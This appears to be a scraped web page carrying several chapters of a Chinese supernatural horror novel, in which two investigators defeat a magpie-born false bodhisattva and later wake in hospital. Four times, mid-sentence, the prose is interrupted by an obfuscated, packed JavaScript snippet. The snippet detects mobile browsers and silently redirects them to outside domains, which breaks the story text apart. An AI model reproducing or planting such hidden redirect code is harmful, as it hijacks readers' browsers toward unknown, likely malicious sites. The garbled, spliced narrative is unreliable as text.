保佑子孙满堂、儿女聪慧的菩萨和喜鹊亲近不是理所当然的事?公路上倒挂在他们前窗的半只喜鹊早已暗示了这个事实。 自血液中爬出的喜鹊生长的速度快到惊人,没过多久就已经长到了成鸟大小,占据了半个祠堂。在喧闹的啼叫声中,燃到一半的香再度变换长度,两侧的线香快递缩短,直到中央的香凸显出来。 大天真香——意味着有佛祖降临。 泥偶发出了冷笑:“还是大天真香?好看得起自己。” 林书渝一把将他塞回口袋里,警惕地看向面部逐渐红润起来的塑像:“这种时候少说两句。” 柔软的白绸无风自起,冰冷的石头带上温度,菩萨的眼睛微微颤动,终于在雏鸟的下一次鸣叫转动起来,看向了站在祠堂门前的黑发青年。 孟山慈做了个深呼吸,有些不安地按了按自己的心脏,用余光看向了身后的走廊——不知从何时起,杂乱的干草铺满了地砖,羽毛和发丝挤在干草之间的缝隙,将一整块区域都变成了大型的鸟巢。 凄厉的哭声响起,巨大的喜鹊从鸟巢中撑起身子,只剩下半边的躯体让它无法直立。这声鸣叫就像是一个信号,祠堂中的雏鸟们叫声突然频繁起来,如潮水一般朝着门口涌去。 “林书渝——”孟山慈视线收回,刚想要呼叫自己的同伴进行撤退,就看见那尊菩萨不知从何时起从高台上走下,纤长的手臂往地上一捞,数十只喜鹊便落在了它的掌心。 香炉里的线香仍在燃烧,白烟摇摇晃晃的向上飘去,让那张慈眉善目的菩萨面庞更加圣洁。下一秒,菩萨张开嘴,将那些光秃秃的雏鸟尽数吞了下去! 猩红的血肉在塑像的唇齿间若隐若现,黏稠的液体顺着嘴角落下,将菩萨的白衣染上暗红的色彩。黏腻的咀嚼声源源不断传入两人的耳中,哪怕同伴在自己的面前被碾为肉泥,剩下的雏鸟依旧懵懂地攀爬上菩萨的衣角,随后被吞进石像冰冷的胃中。 林书渝胸膛剧烈起伏着,努力平息着卷席全身的剧痛。镜鬼仿佛感应到了至亲之人的痛苦,眉眼之间也染上哀伤,将暂且失去了行动能力的青年抱在怀中。 菩萨一步一步向他靠近,不急不缓的脚步声如同催命符。它伸出一只手臂,多出一节指节的手指几乎要贴上青年的脸颊。 叮——清脆的碰撞声响起。泥偶从林书渝的口袋中挣出,直直撞向了菩萨的双眼!红白相间的泥偶从腰部断开,落在地上化为了一地的碎陶片。浓郁的白雾瞬间爆发而出,充斥了整座祠堂,遮挡住了所有生物的视线。 趁着七玄元显菩萨还没反应过来,林书渝咬咬牙,来不及为碎成一地陶片的老板怔神,决定为自己开辟一条新的道路:“姐姐,上面!” 背包重重地落在地面上,发出沉闷的响声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188811|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枚小小的铜镜从夹层中滚出,倒映出了天花板的影子。接收到了请求的镜鬼钻入镜中,只是短短一个呼吸之间,一棵巨大的槐树便突破镜面,疯狂地向上生长,直到将天花板的瓦片顶开,直通到屋顶之上! 孟山慈立刻反应过来,单手将林书渝扛起,另一只手抓住槐树上的凸起,三下五除二顺着树干爬出了祠堂。长着五只手的菩萨停止了进食的动作,有些困惑的抬起头来,目光紧紧追随着消失于树冠之后的“猎物”。 穿着皮鞋的女同事单手打横扛起的林书渝直到落地那一刻都没反应过来刚才发生了什么,但很快,下方传来的动静就让他暂时停止了多余的思考。 “咳、咳咳……”他的眉头微微皱起,看着下方布局已然被完全打乱的院子,“不能贸然下去。” 干草和羽毛遍布了这栋建筑的每一个角落,将吕家大院变成了巨大的喜鹊巢。带着斑点的白蛋星星点点地散布在干草之中,被仅剩的吕家人无知无觉地直接踩过,化为一地蛋液。 很显然,这片空间的异常只有他们能看见。 槐树顶上的叶片开始颤抖起来,像是有某个庞大的生物正在顺着树干向上攀爬。孟山慈有些急切地咬了咬舌尖,用疼痛感来让自己的大脑短暂冷静下来。 “总有地方是可以藏的……你现在怎么样?走不走得动?” 林书渝勉强稳住自己的身形:“可以。你先走,不用管我。” 孟山慈回头,不可思议地看向了他:“开什么玩笑?” “我没有在开玩笑。”林书渝的语气出离的冷静,“这是最好的方案——兵分两路。这片空间的变化大概率是它制造出来的迷障,一定会有出口。它的目标是我,只要我还在这里,就不会过多的关注你。趁着它的注意力在我身上,你要用最快的速度去寻找突破口。” 他认为自己的提议很是合理,应当不会被孟山慈所拒绝。可下一秒,熟悉的悬空感再度袭来,药人女直接将他扛在了肩膀上,对准下方的空院子跳下去。 “虽然我确实不算是什么好人,但也没有无耻到拿同事的命垫自己的路!” 干草与衣物摩擦的声音响起,他们稳稳的降落在厚厚的干草层中。一声悲鸣从不远处传来,这边的动静终究还是传到了喜鹊的耳中。 “新人小哥,你的眼睛比我的好用——走哪边?” 林书渝撑着她的肩膀让自己直起身来,眯起眼睛,像在分辨着某种极其细微的东西。 无数条黑色的丝线连通着祠堂与通往东南方向的走廊,林书渝心下已经有了判断,指向了细线消失的另一端。 “沿着这条路走,我们去一切开始的地方。” ——七玄元显菩萨第一尊塑像诞生的那个房间。 20.菩萨真身 孟山慈没有多问,抬脚便往他指的方向走。过于蓬松的鸟巢让前进的速度放慢许多,但从身后越来越近的鸣叫声可以判断,鸟巢原先的主人并不会受到干草的影响。 后方传来镜鬼的怒吼,显然,菩萨的打算惹怒了以家人为上的镜鬼。屋顶的瓦片如落叶般落下,无需亲眼看见也能推测出里头的战局有多么激烈。 正在往这边移动的喜鹊似乎被那边的动静绊住了脚步,孟山慈趁机不再压抑自己的动作,以意料之外的速度来到了客房所在的小楼前。 建筑物的结构已经被完全扭曲,窗户乱七八糟的挤在一块,木门被移到了最上方,只留下一口口深不见底的黑洞。林书渝挣扎着从孟山慈的肩上滑落,目光死死跟随着半空中密密麻麻的丝线,步履蹒跚地跌进了最右侧的黑洞之中。 孟山慈被他牵扯着也一起踏了进去,刚想要伸出手暂且拦住他的动作,就直直撞进了一双漆黑无光的眼睛,被里头的专注吓了一跳——眼睛的主人仿佛抛弃了一切杂念,只是在固执地跟随着自己所看到之物。 她不由得收回了手,试探性的开口:“林书渝。” 黑发青年微微颔首,却没有回头。 “你看见了什么?” 黑发青年的嘴唇嗡动,脸上划过一丝茫然,没有回答这个问题。 ……林书渝很难说清楚他眼中的世界是什么模样。所有的物品都被划分成了最简单的几何图形,被勾勒出各种形状的影子源源不断从面前飘过,就像是在不断切换场景的皮影戏。 黑、白、灰混杂在一起的杂点出现,让面前的一切像老式电视机的雪花屏。似乎过了很久,又似乎只是短短几秒,杂点不断散开,让他终于看清了那些虚影的轮廊。 身体无限拉长、像是面条一样的男人挂在床帐上,垂下来的头还叼着一根烟,麻木地吞云吐雾;一旁的桌子前,四肢肿胀的一家三口把桌前的所有位置全数占据,一根瘦小的麻杆挤在它们中间,挥舞着细枝一般的手;矮小的立方体人排着队在门口进进出出,每走一步就摔倒一个……无数道来自旧日的幻影沿着自己既定的轨迹运动,挤压在一起,荒诞又诡异。 林书渝有些茫然地向前走了几步,目光掠过鼓胀又收缩的球形老鼠,努力消化一股脑涌入脑中的信息。 他要找一个年轻的女人,在二十五年前的年轻女人…… 躺倒在床上呼呼大睡的罗汉突然把自己缩成了一团,咕噜噜地滚进了墙角。覆盖在上方的黑影撤去,露出了下方的色彩——扎着丸子头的女人跪坐在床边,专心致志地雕刻着什么东西。蠕动的黑影簇拥在她的身边,整间房间里只有她的身影完好无缺,连颜色都没有褪去。 林书渝的眼睛微微眯起,又往床边走了几步。这下看得更清楚了些,他也恍然地领悟到了吕天保口中“年轻到吓人”是什么意思:不只是肌肤状态,而是光看着她,就感到她的每一寸血肉,每一颗细胞都在一秒钟前刚长出来,散着鲜活的、磅礴的“新生”。 女人背对着他,他无法看清那张脸上的表情,却是看清了她的动作——她在雕刻。一团团泥土堆积在床面上,而她的侧手边,一只喜鹊不断挣扎着,想要挣脱身上看不见的绳索。 她显然是个雕刻好手,泥块在她的刀下生出四肢、身躯、最后是头颅以及一张慈眉善目的菩萨脸。女人望着尚未烧制的塑像,很是满意地点了点头,手起刀落,那泥塑的腹腔就被她打开了一道口子。随后,她哼着歌,拿起了那只喜鹊。 林书渝似乎知道她要做什么了。 想要供出一尊新神,有个很简单的法子——装脏。 嘶啦!皮肉与骨骼被生生分开的声音响起,喜鹊小巧的脏器哗啦啦地落满了女人的手心。她习以为常地将一半的喜鹊放入塑像的肚中,剩下的一半则被她借着甩手的动作扔了出去,在地上滚动几圈,没入了墙角的黑暗。 女人心情很好地把塑像的破口填平,取来了一旁的香烛。火光突然大作,燎过了塑像的全身,鲜艳的釉彩也随之生出。可就在烧到塑像的背部时,她的手却停了下来,发出了可惜的叹息。 一小段肉芽明晃晃地出现在了菩萨的脊椎骨中段,在火光的照耀下不断生长。女人让火继续向上,低声道:“不争气的东西。” 烛火熄灭,塑像凭空多出的第五只手臂彻底长成,缓缓屈起,扣在了头顶。那双墨点的眼睛里划过微不可查的光亮,远远望去,竟还是一双喜鹊的眼睛。 女人将塑像放在床上,身上的色彩以惊人的速度褪去,原先凝固的形体也逐渐化开。形成鲜明对比的,是塑像越发鲜艳的色彩。在来自旧日的虚影彻底变成一地烂泥之时,菩萨的眼睛一点一点转动,对上正在凝视着自己的黑发青年的眼睛。 林书渝平静地望着它,眼底没有一点情绪。菩萨的脸上蒙上恼怒,身形如气球般膨胀起来,但依旧无法突破时间的跨度来到青年的身前,只能用不完整的声带发出嘶吼。 “……林书渝?” 许久没有得到回应的孟山慈再度发出呼唤,皱着眉头顺着他的目光看去,却只看到了落满灰尘的床面。任务完成率高达百分之百的药人女头一回觉得自己没开眼这件事糟糕透顶,一咬牙,伸出手去拍了三下黑发青年的肩膀。 “林书渝,回来!” 下一秒,那双漆黑的眼睛重新聚焦,代表着神采的光芒终于复现。孟山慈狠狠松了口气,刚想说些什么,就对上林书渝写满了困惑的脸。 “你刚刚是在叫魂?”林书渝很快便领会到了同事的心路历程,解释道,“我的魂没丢,只是……在看一些东西,太专心了,一时半会忘记回应。” 孟山慈狐疑地看着他,并不是很相信他的说辞,严谨地说道:“双目无神、气息过于平缓、动作僵硬——亲爱的,你表现出来的症状可是和失魂之后一模一样。” “……暂时先别管这些东西了。”林书渝小幅度地动了动手脚,感受着力气重新回到体内,敏锐地看向了屋外正在晃动的干草 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197002|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丛。 “我们得回去——那尊塑像里装了脏。” 以这种手段生造出来的“神”根基相当脆弱,只要打碎了它所寄生的神像,自然而然会魂飞魄散。 孟山慈愣了愣,瞬间就明白了他想做什么。她没有问林书渝是从哪里知道的这件事,扶着他的手臂,再度踏进了及膝的鸟巢之中。 回去的路可比来时的路要容易的多,走廊旋转着变换方向,将所有的道路都汇聚成了唯一的一条,尽数通向尽头的祠堂。大门并没有完全打开,隔着数十米的距离,可以隐隐约约看见里头飞舞的羽毛,以及堆叠在一起企图从里面爬出的雏鸟。 只剩下半只的巨大喜鹊趴伏在门槛之外,张大自己的喙,发出哀切的叫声。孟山慈前进的脚步稍缓,面上流露出几分迟疑。 衣物忽然被谁的动作连带着扯动,孟山慈还没来得及反应,黑发青年就挣脱开搀扶着他的手臂,有些艰难地走到了喜鹊的面前。它艰难地将只剩一半的头颅抬起,黑豆般的眼睛里倒映着青年的影子,以及他轻飘飘抬起的手臂—— 悲鸣声响起,几乎要穿透在场所有生物的耳膜。匕首深深没入喜鹊的前额,将这早该死去的生命正式送入黄泉。林书渝擦了擦下巴沾上的血迹,将匕首连带着背包一起递到了瞳孔微颤的药人女手上。 “抱歉,刚才有点急,没有问你就先拿了。” 祠堂中,菩萨不可置信的嘶吼与青年过分平静的话混杂在一起,形成了一种极度的荒诞。孟山慈无言地将匕首拿回来,用仿佛第一次见到这位新同事般的眼神望着他。 “帮我安置好念念。” 林书渝没有理会她的注视,留下这句话后便越过高高的门槛,重新踏进了祠堂之中。 高台前,两尊一模一样的五手菩萨依旧在打得不可开交,香炉因为它们的动作早已翻倒在地,里头的香灰与地上雏鸟的尸体混杂在一起,将地面变成了恶心的泥潭。 在黑发青年踏入这里的那一刻,两尊菩萨一同低头向他看去。右侧的那尊已经失去了三只手臂,但依旧反应极快的死死禁锢住了另一种菩萨,不让它出手伤害自己的家人。 “姐姐,回来吧。”林书渝的眉头在看见镜鬼后便舒展开来,向她发出了请求。镜鬼犹豫了一下,还是选择响应家人的呼唤,回到了青年的身边。 将姐姐催回镜子里,总算没有了后顾之忧的林书渝松了口气,毫不躲闪地与七玄元显菩萨对视。那张慈悲为怀的脸早已崩坏,显露出属于邪祟的阴毒。 在它冰冷的注视下,脆弱的人类揉了揉因为疼痛而发涨的太阳穴,朝它举起了手——被血液染红的掌心里,赫然躺着一颗停止了跳动的心脏。 那一瞬间,菩萨的全身都开始剧烈的颤抖,精心染上的釉彩簇簇落下,露出底下灰黑色的泥土。 “你是一只喜鹊。”林书渝平静地宣告,“你只是一只喜鹊。” 不是菩萨也不是仙,只是一只早已被一分为二的、普通的喜鹊。 21.尘埃落定? 掌心里,小巧的心脏还残留着最后一点温热。林书渝在说出这句话后立刻一个侧翻离开原地,果不其然,泥塑的手臂擦着他的肩膀,狠狠砸进了地里! 神经因为过度的疼痛而抽搐着,林书渝用力咬住下唇,从地上爬起。 喜鹊的心脏在方才的动作中被压出了更多的血液,他抖了抖手掌,把流淌下来的黏腻液体甩开,看向了高台。 七玄元显菩萨绝对不会将自己的真身放于危险之中,所以,那尊神像必定还在那里。 方才的一击动静实在太大,刚追进来的孟山慈心脏停滞一瞬,在看到完好无损的同事时才重新恢复跳动。她拉着林书渝的手臂将他往后一拽,正好躲过了菩萨抓来的四只手。 “下次要做什么大事,记得早一点说!”孟山慈努力保持声音的平稳,但依旧掩盖不住咬牙切齿的语气,“我还不是很想参加同事的葬礼!” “巧了不是,我也不想参加自己的葬礼。”林书渝开了个不合时宜的冷笑话。 孟山慈实在忍不住翻了个白眼:“说吧,现在你的目标是什么?” 林书渝抬起头,朝高台望去。方才看见发虚影与丝线不知为何又从他的视野中完全消失。他回忆了一下自己看见丝线前的状态,有些心虚地移开了目光。 “我可能,得被那尊东西打一下。” 他的身体已经习惯了持续已久的疼痛——也就是说,目前的疼痛等级不够用。 孟山慈:“……哈?” 接连两次攻击都打空,七玄元显菩萨的怒火明显已经来到最顶端。无需多言,现在让林书渝上去挨一下,七天之后她就要去同事的家里烧纸。 “你自己想想这行吗?”孟山慈快被气笑了,打算回去就申请年假,让自己好好治愈这次任务带来的心理创伤。 林书渝叹了口气,显然也觉得自己的计划不太现实。于是,伴随着一个侧身,药人女腰间的匕首就到了青年的手中。还没等匕首的主人反应过来,他就果断手起刀落,在自己的手臂上深深划了一刀! 鲜红的黏稠液体倾泻而出,林书渝脚下一个踉跄,差点稳不住自己的身体。疼痛翻涌着涌上大脑,就连思考的速度都变慢了不少。 他这一刀没有留手,保险估计应该是伤到了骨头。一想到回去之后要被家里人怎样数落,林书渝就忍不住露出了苦笑。 口袋里的铜镜不断发出响动,像是有谁拼尽全力想从里面出来。只可惜,某个对自己的作派很有先见之明的家伙在镜鬼进去后就用血封了镜,确保她无法现身。 “林书渝,你这个——”疯子! 孟山慈骂到一半,背后就传来一阵推力。林书渝将她推离七玄元显菩萨的攻击范围,有些狼狈地向后跑去。 菩萨似乎已经猜到了他的打算,彻底无视了另一个人类,目光紧紧追随着眼前的黑发青年,四只手相继着朝他袭来。 用于跪拜的蒲团被狠狠扫到墙上,挤成了一团乱草。林书渝躲过翻滚的香炉,因为疼痛而再度晃动起来的视野中,数不尽的丝线缠绕在菩萨的五只手臂上,密密麻麻、没有一点空隙,如同下一秒就要将人彻底淹没的潮水。 丝线的尽头,身体从脖子处断开的泥娃娃端坐在后方的灵位前,用朱砂绘制的五官呈现出扭曲的哭脸。 “灵童子,哭三月。头落地,人回门。” 被碾成肉泥的雏鸟飞溅而起,溅满了泥娃娃的全身。暗红的血液让泥娃娃的五官更加狰狞可怕。它们抖动着,将嘴巴张大,异口同声地歌唱着简短的歌谣。 一具接着一具无头尸体出现在他的视野中,沉默地面向着刻有自己名字的木牌。在这首歌谣齐声唱过三遍之后,泥娃娃们向旁边退开,露出了中央的塑像。那尊矮小的、里面的内脏早已腐臭的五手菩萨像端坐于高台上,被泥娃娃们拱着来到边缘。 七玄元显菩萨眼中闪过一抹狠厉,扣于头顶的第五只手终于伸出,比常人多出数结的手臂狠狠地朝青年的背后抓去! 底座与木台相撞的不和谐音响起,林书渝高高举起那尊塑像,朝着地面摔去——瓷片纷飞,这尊受了人类二十五年供奉的菩萨碎成了一地无用的瓷片,腥臭腐朽的喜鹊尸体从里头跌出,一直滚落到了七玄元显菩萨的脚下。 林书渝强撑着将头抬起,对着菩萨露出笑容。 “当了这么多年的菩萨,也该变回喜鹊了吧?” 下一秒,世界天旋地转。幻境失去了构建者的支撑而分崩离析,巨大的五手菩萨轰然倒下,一地飞灰之中,那半只喜鹊的尸体混杂在碎片里,无人在意。 在因为失血过多而晕倒的前一刻,林书渝看到了争先恐后将自己摔下高台的泥娃娃、一个俯冲朝自己扑来的药人女、还有一边哭一边翻过门槛的鬼婴。 事情解决了吗?他有些恍惚地摸了摸后颈——那里已经完好无损。 既然这样……应该可以安心睡过去了吧。 于是,在一人一鬼惶恐的注视下,林书渝安详地闭上了眼睛。 …… …… 嘀嗒。嘀嗒。 钟表转动的声音在耳边逐渐放大,将林书渝陷入泥潭里的意识拽了出来,顺便附赠了一点名为“烦躁”的情绪。 好吵…… “你要去修车?这个时候?”恼人的对话声像是从天边传来,有些失真,声线很是陌生,“别告诉我你只是想找个借口跑路。” “别这样想,亲爱的,我的车对我来说有多重要你是知道的。”这道声音却是要熟悉许多,林书渝用迟缓的大脑想了一下,慢吞吞地将“孟山慈”这个名字翻了出来。 那道陌生声音完全没有相信她说的话,相当犀利地指出了她话里的漏洞:“如果我没记错的话,你的车是三年前随便买的,还用委托人的死亡证明申请了补贴——” “哎呀,新人醒了,先不说了。”孟山慈笑眯眯地看了眼床上的青年,干脆利落地挂断了电话。 林书渝这才睁开眼睛,表情还带着些许茫然。盖在身上的棉被一片纯白,他的大脑稍作运转,恍惚地开口问道:“这里是停尸间?” 孟山慈眨了眨眼睛,嘴角微不可查地上扬了些:“当然不是,你为什么会这么想?” 林书渝也不知道。过长的睡眠让他的脑袋变得晕沉沉的,为了避免自己说话像乌龟,他选择了按照直觉构思句子。手臂还残留着轻微的疼痛,他试着动了动手腕,发现自己肘部以下都被纱布绑住了,只能做简单的屈臂动作。 林书渝盯着那些绷带,发自内心的问道:“我的手要断了吗?” 他划的那一刀也没有把骨头砍断吧?需要这种程度的包扎吗? 孟山慈心情很好的和他解释:“这个啊……把你送过来的时候我实在没法解释你手臂上去的那道伤,毕竟无论是角度还是走向都是你自己划的。所以护士判断你有自残倾向, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15200662|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意问我要不要适当控制患者的行动。” “所以你回答了[是]?”林书渝微微睁大了眼睛。 “啊,那倒不是我,是你姐姐。”孟山慈轻描淡写地说出了令林书渝心脏一颤的话,“她还特地征求了一下你父母的意见,最终一致认可了护士的打算。” 林书渝:“……” 他有些艰难地从床上坐起,一转头就看见了自己的背包,从拉链间看过去应该没有少东西。铜镜被单独取了出来,面对着床头立起,林书渝看过去正好对上了镜鬼温和的微笑——看起来是本尊。 努力消化自己去阎王殿前走了一遭的经历被家里上下知晓这件事,林书渝麻木地把铜镜拿起,问出了最关心的问题:“念念呢?” “在家里。”林昭的语气很平和,让人分辨不出来她此刻的心情,“我到医院的时候他躲在你的背包里面抱着青蛙哭,孟女士说他哭了一路呢。” 一种莫名而强烈的心虚感涌上心头,林书渝讪讪地点了点头,轻手轻脚地把铜镜又放了回去。 目睹完一场和谐的家庭对话,孟山慈眼底的笑意更深,主动道:“对了,我明天有些事情要做,到时候会换个人来陪床——你还有什么要问我的吗?” 当然有,而且是很多。林书渝还没有忘记碎成一地陶片的老板,出于打工人的良好素养,用关切的语气道:“老板没事吧?” “他怎么可能会有事。那只不过是他的分身,你理解成他的小号就好,再碎百八十个都不会有事。”孟山慈顿了一下,很严谨地补充,“顶多捏泥偶捏得累点吧。” 林书渝对老板那微弱的关爱瞬间消失了:“好的。” 接下来的问题还没等他开口,孟山慈就托着下巴,先行一步说了出来:“吕家人在发现吕天保死后就连夜跑了,我卜了一卦,他们应该也活不了多久。老板让我们别掺和后续的因果,直接走了便是,我就没有留下多看。不过,那些泥娃娃排着队往下跳的样子还怪渗人的,幸好你没见着。” 想起那高达八处的维修检测报告,她还是忍不住叹了口气:“唉……早知道抓个吕家人要笔赔偿金了。虽然能报销,我的精神损失也需要补偿啊。” 林书渝不置可否,却也因此想起了一个关键的问题:“既然吕家人全部出走,他们剩下的院子又该怎么处理?” 要知道,祠堂里糊满了地面的喜鹊尸体可是一点也没清理。在七月份的天里再过个两三天,吕家大院就能变成发酵池。 “放心吧,我早就匿名报过警了,那边会帮忙处理的。”孟山慈用一种习以为常的语气说道,“等再过半个月这件事情上新闻报道,然后世界上就又会多出一起怪谈。” ……原来这种事报警就行了吗? 黑发青年微微睁大眼睛,感觉学到了一个新的实用技能。 重要的事都已经问完,林书渝稍微放松了些,以前在半梦半醒之间听到的对话也在脑海里浮了上来。 “对了,那个来接替你的同事……” “哦,他啊,是个怪人。不过性格还不错。”孟山慈心领神会,明白了他想问什么,抢先一步回答,只不过语气听上去有些微妙。 “怪人?能有多怪?”林书渝开了个小小的玩笑,“总不能比我们两个还奇怪。” “说不定还真有。”孟山慈摩挲着下巴,慢悠悠地说道。 “毕竟他是个清朝人——噢不,清朝鬼。” 22.回收利用 清朝鬼?林书渝愣了愣,脑海中默默浮现出一道林□英经典僵尸电影里的身影。 “那我们工作室内部员工构成要素还挺……丰富多彩的。”回想了一下目前见到的几个同事的身份,他由衷地说道。 孟山慈似乎是看出了他脑子里在想什么,笑着补充:“老鬼虽然是清朝鬼,但也算是整个工作室里最紧跟时代的了——当然,也不会长成僵尸那样。” 林书渝把脑子里新同事的形象打散,很严谨地构想了一个穿得像圣诞树的黑影:“我明白了。” 与时俱进果然是人和鬼共同的生存法则。 “我的车还在滇水镇那边没接回来,得回去一趟。正好老鬼接的那个任务就在这附近,可以过来帮我看着你。” 这个用词有些微妙,林书渝张了张口,想要提议要不要干脆取消同事陪护的贴心福利,转头就对上了自家姐姐不认可的目光。 不找个人看着你我不放心。林昭的眼睛里写满了这句话。 林书渝忿忿地闭上了嘴。 药人女假装看不见这边的眼神互动——毕竟得找人留下来看着林书渝是老板的提议,当然,她本人也全力支持。 在滇水镇的时候有她在旁边这家伙都能若无其事地给自己来一刀,一个人待在医院这种最容易出事的地方还不知道要做出什么来。 急促的铃声响起,孟山慈掏出手机看了眼屏幕,像忽然想起了什么般说道: “啊,还有一件事,我点了个份瓦罐汤给你补补身子,不过还得等等。” 林书渝点点头,接下了来自同事的好意:“什么时候送到?” 孟山慈思考了一会儿,报出了一个时间后又突然改口:“九点……不,十点到吧,你记得喝。” 这句话中间的转折有些突兀,林书渝的眼中带上些许困惑,但还是基于一同出死入生的经历将这个小插曲抛之脑后:“好。” 孟山慈总归不会害我的。他如此想道。 …… …… 深夜,滇水镇郊区的吕家大院一片死寂。 今夜的天气不算太好,好不容易圆一次的月亮被乌云尽数掩盖,连照亮走廊的最后一点自然光都无情剥夺。 好在的是,漫步于长廊里的拜访者并不需要照明——那是个穿着白衬衫和西装裤的女人,顶着一头微卷的短发,脸上带着上班族常有的疲倦感。如果忽略掉她过分年轻的皮肤状态,完全是个在地铁上一抓一大把的可悲社畜。 “唉……二十多年没来这个地方,居然一点也没变。”年轻到有些离奇的女人摸了摸斑驳的墙面,有些嫌弃地吹了吹手指沾上的灰,“不,我说错了,这里还是变了点的——变得更破了。” 电话那头传来一声轻笑:“谁让你当初非要用这种法子?我早就说过了,现在是新时代,你得学会与时俱进。” “别说的我像个老古董一样,谁能想到社会发展这么快?” 女人拖长了声音抱怨,老气横秋的口吻与她没有一条皱纹的皮肤放在一起,显露出强烈的违和感。她漫不经心地望向一片狼藉的院落,反驳了同伴的话。 “再说了,不也没出什么岔子吗?” “那是因为你歪打正着,谁能想到还有人固执地履行族居的传统?而且,吕家人也是真的蠢。” “你也可以选个蠢货,天天去和聪明人扎堆除了给自己增大难度之外没有一点意义。”女人跨进一片狼藉的祠堂,冷冷地扫过一地的血迹与破瓷片,语气和眼神一样满是讽意。 只不过蠢货也有个致命的缺点——遇到点什么意外就会把一切都搞砸。 血液和烂肉在七月的高温下已经开始走向腐败,站在正中央的位置,令人窒息的血腥味铺面而来,像是给鼻腔上刑。鞋底踏在雏鸟的尸体之上,发出的黏腻声响在祠堂里格外明显。 “听起来现场很惨烈啊。”电话那头的男人显然也听到了这细微的动静,幸灾乐祸地说道。 女人没有理会他,而是弯下腰,在一地的烂肉里翻找起来。羽毛和残肢混杂在一块,有些难以分清。没过多久,她的手上便凝上了一层暗红的血渍,在动作之间偶尔蹭到白衬衫之上。 咔擦。泥娃娃破碎的脸被冷漠地踩过,淹没在艳红的肉泥里,只剩下半只弯起的眼睛露在外面,死死凝视着女人的脸。 女人对此熟视无睹,又换了个方向接着翻找,空出来的手抓着手机:“别幸灾乐祸,小心等你也倒霉的时候我给你放礼花。” “哎呀,这不挺好的吗?”她威胁的对象笑吟吟地说道,“多热闹啊……说不定还能让人忘记糟糕的现状。” 女人用脚把堆在一起的喜鹊尸体拨开,换了只手拿手机,任由屏幕与脸颊也变得血迹斑斑:“又说错代词了——你哪里是人呢?” “怎么就不是了呢?如果一个生物看上去是人、构造也是人,那他就是人。”电话对面的人侃侃而谈道。 “人皮子讨封来了。”女人翻了个白眼,“噢不,我到现在连你具体是个什么东西都不知道。” 那道声音很坦然地回复:“每个人都有秘密,像你这样一口气把底细全都爆出来的才少见。要不下次见面我真的对你这么说一说?向太岁讨封说不定会有有额外收获呢。” 人皮子试图讨封的对象没有搭理他,说不准是因为无语还是懒得开口。 血液将裤脚染成暗色,沾满了液体的布料沉甸甸的往下坠,边缘的血珠欲掉不掉。女人直起身子,实在是没忍住叹了口气。 一失足成千古恨……她到现在总是明白了这句古话的意思。 “姓徐的,你要不现在来这里一趟?”女人抬手,将额头上的碎发拨到两边去,在光滑的皮肤上留下一条血迹。她的语气很是轻松,就像是随口一说。 电话那头的声音默然几秒:“你怕不是又想[借用]我的眼睛了吧?” “被你猜中了,好可惜。”女人面无表情地叹道,虽然根本听不出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15206449|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有一丝一毫的遗憾。 想要从满地的喜鹊尸体里找出半只喜鹊的身体是相当有难度的一件事,她抬眼,看向原先陈列着众多牌位的灵台,带着些许灰调的眼珠缓缓向下移动,又将目光落到那一地的瓷片之上。 泥娃娃们选择扎堆跳下来属实不是个好决策,那些没能碎得彻底的四肢和头颅就这么混在一起,谁也分不清是谁。 女人蹲下来,随手捡起一颗还算完整的头颅:“小朋友,阿姨找你问个事情——那尊废物死在了哪里?” 泥娃娃原先向上的嘴角顿时垂了下来,挂着一张哭脸,颤颤巍巍的转了个方向。女人顺着它的目光看过去,终于在一地肉泥里找到了自己的目标。 “谢谢你,乖孩子。”女人不是很诚心的道了声谢,拍了拍手里的那颗脑袋,“阿姨好像也没什么能给你的……那就送你干脆利落的上路好了。” 说完,泥娃娃的头颅便从头顶裂开,不出几秒钟就化为了一地?齑粉。 电话那头沉默着听完了全程的男人假惺惺地开了口:“好可怜的孩子,偏偏遇上了你这种人。” 